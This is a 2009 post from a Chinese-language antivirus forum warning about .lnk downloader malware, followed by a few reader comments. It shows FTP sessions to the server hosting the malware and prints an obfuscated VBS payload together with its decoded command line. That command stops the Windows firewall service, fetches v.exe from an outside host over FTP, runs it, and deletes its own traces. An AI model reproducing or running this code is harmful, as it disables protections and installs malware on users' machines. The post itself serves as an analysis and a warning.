作者miamodo ()
看板AntiVirus
标题[讨论] 最近似乎在流行lnk病毒......
时间Tue Jan 27 16:43:47 2009
最近似乎在流行lnk病毒
打开几个
有些连上以後是空的-如(1)
有些则是内容很多-如(2)
这些lnk是下载者(测试了几个其本身并不会破坏系统),但下载的东东则.....
它会再生下载者(vbs),再生......
(1)
ftp> open www.g03z.com
Connected to www.g03z.com.
220 Serv-U FTP Server v6.4 for WinSock ready...
User (www.g03z.com:(none)): aa33
331 User name okay, need password.
Password:bb33
230 User logged in, proceed.
ftp> ls
200 PORT Command successful.
550 No files found.
(2)
ftp> open www.g03z.com
Connected to www.g03z.com.
220 Serv-U FTP Server v6.4 for WinSock ready...
User (www.g03z.com:(none)): 123
331 User name okay, need password.
Password:123
230 User logged in, proceed.
ftp> ls
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
busdh
busdh2.lnk
hdisf
hdisf3.lnk
ksjge
ksjge1.lnk
msvba2.lnk
msvbq oqjsh
oqjsh5.lnk
qianlai
qianlai01.lnk......
226-Maximum disk quota limited to 102400 kBytes
Used disk quota 0 kBytes, available 102400 kBytes
226 Transfer complete.
ftp: 297 bytes received in 0.01Seconds 29.70Kbytes/sec.
其中busdh的内容(即vbs档的内容)
crhc=array
(1672,1742,1760,1775,1691,1756,1757,1691,1720,1691,1726,1773,1760,1756,1775,
1760,1738,1757,1765,1760,1758,1775,1699,1693,1746,1774,1758,1773,1764,1771,
1775,1705,1742,1763,1760,1767,1767,1693,1700,1691,1672,1669,1756,1757,1705,
1773,1776,1769,1691,1693,1758,1768,1759,1691,1706,1758,1691,1769,1760,1775,
1691,1774,1775,1770,1771,1691,1774,1763,1756,1773,1760,1759,1756,1758,1758,
1760,1774,1774,1697,1760,1758,1763,1770,1691,1770,1771,1760,1769,1691,1778,
1778,1778,1705,1780,1756,1763,1770,1770,1771,1764,1758,1775,1776,1773,1760,
1707,1705,1758,1770,1768,1721,1721,1775,1705,1775,1697,1760,1758,1763,1770,
1691,1708,1709,1710,1721,1721,1775,1705,1775,1697,1760,1758,1763,1770,1691,
1708,1709,1710,1721,1721,1775,1705,1775,1697,1760,1758,1763,1770,1691,1762,
1760,1775,1691,1777,1705,1760,1779,1760,1691,1726,1717,1751,1777,1705,1760,
1779,1760,1721,1721,1775,1705,1775,1697,1760,1758,1763,1770,1691,1757,1780,
1760,1721,1721,1775,1705,1775,1697,1761,1775,1771,1691,1704,1774,1717,1775,
1705,1775,1697,1759,1760,1767,1691,1775,1705,1775,1697,1758,1717,1751,1777,
1705,1760,1779,1760,1697,1759,1760,1767,1691,1696,1778,1764,1769,1759,1764,
1773,1696,1751,1757,1776,1774,1759,1763,1705,1777,1757,1774,1697,1759,1760,
1767,1691,1758,1717,1751,1777,1705,1760,1779,1760,1697,1774,1775,1756,1773,
1775,1691,1763,1775,1775,1771,1717,1706,1706,1778,1778,1778,1705,1775,1775,
1761,1761,1715,1715,1711,1705,1758,1770,1768,1706,1766,1764,1769,1762,1705,
1765,1771,1762,1693,1703,1707,1672,1669)
for i=1 to UBound(crhc)
runner=runner&chr(crhc(i)-1659)
next
Execute runner
转一下上面的数字:
Set ab = CreateObject("Wscript.Shell")
ab.run "cmd /c net stop sharedaccess&echo open
www.yahoopicture0.com>>t.t&echo 123>>t.t&echo 123>>t.t&echo get v.exe
C:\v.exe>>t.t&echo bye>>t.t&ftp -s:t.t&del t.t&c:\v.exe&del
%windir%\busdh.vbs&del c:\v.exe&start
h ttp://www.ttff884.com/king.jpg",0
--
※ 发信站: 批踢踢实业坊(ptt.cc)
◆ From: 59.112.7.187
1F：→ OtakuGoHell:这种烂招式,转来转去的手法,但还是会有人受害~啧啧啧~ 01/27 17:02
2F：推 VictorTom:v.exe, 小弟老爸就中了, 管不住老人家乱开邮件~_~ 01/28 12:04
3F：→ VictorTom:更何况他们都觉得朋友/认识的人寄来的邮件应该没问题. 01/28 12:04
4F：→ VictorTom:殊不知这种心理上的疏忽, 才是友人寄的mail最危险的. 01/28 12:05
5F：→ VictorTom:PS. Avast昨天的病毒码都扫不到, 是PCTools挡了下来Orz 01/28 12:06